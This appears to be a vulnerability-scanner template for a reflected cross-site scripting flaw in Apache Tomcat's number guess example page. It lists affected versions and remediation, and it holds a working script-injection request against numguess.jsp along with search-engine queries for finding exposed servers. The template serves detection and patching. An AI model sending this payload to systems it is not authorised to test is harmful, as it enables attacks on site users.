id: CVE-2026-50229

info:
  name: Apache Tomcat - Cross-Site Scripting
  author: yshahinzadeh,amirmsafari
  severity: medium
  description: |
    Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in the number guess example for Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M1 through 10.1.55, from 9.0.0.M1 through 9.0.118, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other versions that have reached end of support may also be affected. Users are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fix the issue.
  impact: |
    Remote attackers can execute scripts in users' browsers, potentially stealing cookies or performing actions on behalf of users.
  remediation: |
    Upgrade to versions 11.0.23, 10.1.56, or 9.0.119 or later.
  reference:
    - https://lists.apache.org/thread/wlt2no8bw45zl1w8byop4zfqphldf5j0
    - https://www.cve.org/CVERecord?id=CVE-2026-50229
    - https://tomcat.apache.org/security-11.html
    - https://www.herodevs.com/vulnerability-directory/cve-2026-50229
  classification:
    cwe-id: CWE-80
    cve-id: CVE-2026-50229
    epss-score: 0.04249
    epss-percentile: 0.89999
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: tomcat
    shodan-query: html:"Apache Tomcat"
    fofa-query: app="APACHE-Tomcat"
  tags: cve,cve2026,apache,tomcat,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/examples/jsp/num/numguess.jsp?guess=5&hint=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'Number Guess'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008d4606a9fc54c8b1c001fbbf941d81fb2248e688b3213371404985a8bea803ec0220432b425e33f8921d237ece88b63a57a68ec81459ce6bbec36b25a1dc1eccd464:922c64590222798bb761d5b6d8e72950